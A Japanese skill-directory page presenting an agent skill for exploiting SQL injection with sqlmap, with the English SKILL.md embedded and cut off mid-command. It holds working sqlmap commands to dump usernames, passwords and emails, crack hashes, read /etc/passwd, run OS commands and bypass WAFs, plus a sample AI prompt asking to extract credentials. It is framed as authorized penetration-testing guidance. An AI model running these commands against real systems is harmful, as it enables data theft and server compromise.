本文へスキップ
Skillpedia
エージェント35k · #7924

exploiting-sql-injection-with-sqlmap

できること

このツールは、ウェブサイトにある「SQLインジェクション」と呼ばれるセキュリティ上の欠陥を見つけ、悪用して確認するためのものです。許可を得たセキュリティテストの一環として、データベースの重要な情報を取り出すこともできます。

使う場面

  • ✓許可を得て、ウェブサイトのセキュリティをテストするとき。
  • ✓フォームやリンクに欠陥がある可能性を疑うとき。
  • ✓データを取り出すことで、セキュリティ上の欠陥の影響を実証するとき。

スキルのリンク

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-sql-injection-with-sqlmap/SKILL.md

コピーしてAI(Claude、ChatGPT、Cursor)に貼り付け、指示に従うよう頼んでください。

使い方

いちばん簡単な方法:メッセージをコピーしてAIに貼り付けるだけ。AIがスキルを読んで指示に従います。

貼り付け用メッセージ

このスキルを使って手伝ってください:https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-sql-injection-with-sqlmap/SKILL.md このリンクのSKILL.mdファイルを読んで、私の作業でその指示に従ってください。
こういうスキルを、AIが自分で見つけてくれたら?無料のSkillpedia MCPをインストール。1行で、作業の前に15,000+のスキルから探してくれます。1分でインストール →

AIへの頼み方の例

“example.com でSQLインジェクションの欠陥を探し、「users」テーブルからユーザー名とパスワードを取り出してください。”

毎週5つの新しいスキル。1分で読めます。

仕組み

ツールは、ウェブサイトのデータベースに特殊なコマンドを送信します。欠陥があれば、データベースを直接操作しているかのように、情報を読み取ったり変更したりできます。

技術的な内容(元のSKILL.md)

作者による元のテキスト(英語)をGitHubからそのまま表示しています。

Exploiting SQL Injection with sqlmap

When to Use

  • During authorized web application penetration testing engagements
  • When manual testing reveals potential SQL injection points in parameters, headers, or cookies
  • For validating SQL injection findings from automated scanners like Burp Suite or OWASP ZAP
  • When you need to demonstrate the impact of SQL injection by extracting data from backend databases
  • During CTF challenges involving SQL injection exploitation

Prerequisites

  • Authorization: Written penetration testing agreement (Rules of Engagement) for the target
  • sqlmap: Install via pip install sqlmap or apt install sqlmap on Kali Linux
  • Python 3.6+: Required runtime for sqlmap
  • Burp Suite (optional): For capturing and replaying HTTP requests
  • Target access: Network connectivity to the target web application
  • Browser with proxy: Firefox with FoxyProxy for intercepting requests

Workflow

Step 1: Identify Potential Injection Points

Manually browse the application and identify parameters that interact with the database. Use Burp Suite to capture requests.

# Start Burp Suite proxy and capture requests
# Look for parameters in URLs, POST bodies, cookies, and headers
# Example target URL with a suspected injectable parameter:
# https://target.example.com/products?id=1

# Test manually for basic SQL injection indicators
curl -k "https://target.example.com/products?id=1'"
# Look for SQL error messages like:
# - "You have an error in your SQL syntax"
# - "ORA-01756: quoted string not properly terminated"
# - "Microsoft SQL Native Client error"

Step 2: Run sqlmap Basic Detection Scan

Launch sqlmap against the suspected injection point to confirm the vulnerability and identify the database type.

# Basic GET parameter test
sqlmap -u "https://target.example.com/products?id=1" --batch --random-agent

# For POST requests (save the request from Burp Suite to a file)
sqlmap -r request.txt --batch --random-agent

# Test specific parameter in a POST request
sqlmap -u "https://target.example.com/login" \
  --data="username=admin&password=test" \
  -p "username" --batch --random-agent

# Test with cookie-based injection
sqlmap -u "https://target.example.com/dashboard" \
  --cookie="session=abc123; user_id=5" \
  -p "user_id" --batch --random-agent

Step 3: Enumerate Database Structure

Once injection is confirmed, enumerate databases, tables, and columns.

# List all databases
sqlmap -u "https://target.example.com/products?id=1" --dbs --batch --random-agent

# List tables in a specific database
sqlmap -u "https://target.example.com/products?id=1" \
  -D target_db --tables --batch --random-agent

# List columns in a specific table
sqlmap -u "https://target.example.com/products?id=1" \
  -D target_db -T users --columns --batch --random-agent

Step 4: Extract Data from Target Tables

Dump the contents of sensitive tables to demonstrate impact.

# Dump specific columns from a table
sqlmap -u "https://target.example.com/products?id=1" \
  -D target_db -T users -C "username,password,email" \
  --dump --batch --random-agent

# Dump with row limit to avoid excessive data extraction
sqlmap -u "https://target.example.com/products?id=1" \
  -D target_db -T users --dump --start=1 --stop=10 \
  --batch --random-agent

# Attempt to crack password hashes automatically
sqlmap -u "https://target.example.com/products?id=1" \
  -D target_db -T users -C "username,password" \
  --dump --batch --passwords --random-agent

Step 5: Test for Advanced Exploitation Vectors

Assess the full impact by testing OS-level access and file operations.

# Check current database user and privileges
sqlmap -u "https://target.example.com/products?id=1" \
  --current-user --current-db --is-dba --batch --random-agent

# Attempt to read server files (if DBA privileges exist)
sqlmap -u "https://target.example.com/products?id=1" \
  --file-read="/etc/passwd" --batch --random-agent

# Attempt OS command execution (MySQL with FILE privilege)
sqlmap -u "https://target.example.com/products?id=1" \
  --os-cmd="whoami" --batch --random-agent

Step 6: Use Tamper Scripts to Bypass WAF/Filters

When Web Application Firewalls or input filters block basic payloads, use tamper scripts.

# Common tamper scripts for WAF bypass
sqlmap -u "https://target.example.com/products?id=1" \
  --tamper="space2comment,between,randomcase" \

…
よくある質問

SQLインジェクションとは何ですか?

攻撃者がウェブサイトを通じて、データベースに悪意のあるコマンドを挿入できてしまうセキュリティ上の脆弱性です。

このツールを使うには許可が必要ですか?

はい。どのシステムをテストする場合でも、書面による許可を事前に得ることが不可欠です。許可なく使用することは違法です。

「tamper スクリプト」とは何ですか?

送信するコマンドを偽装し、ファイアウォールなどのセキュリティシステムに検知されないようにするための小さなプログラムです。

詳細

作者による元の説明

Detecting and exploiting SQL injection vulnerabilities using sqlmap to extract database contents during authorized penetration tests.

repo: mukul975/Anthropic-Cybersecurity-Skills

人気

GitHubのスター
35k
ランキング
#7924
ライセンス
Apache-2.0
更新日
2026/8/31

このスキルは役に立ちますか?

0

ログイン して投票しましょう。

コメント

  • …

このリポジトリの他のスキル

似ているスキル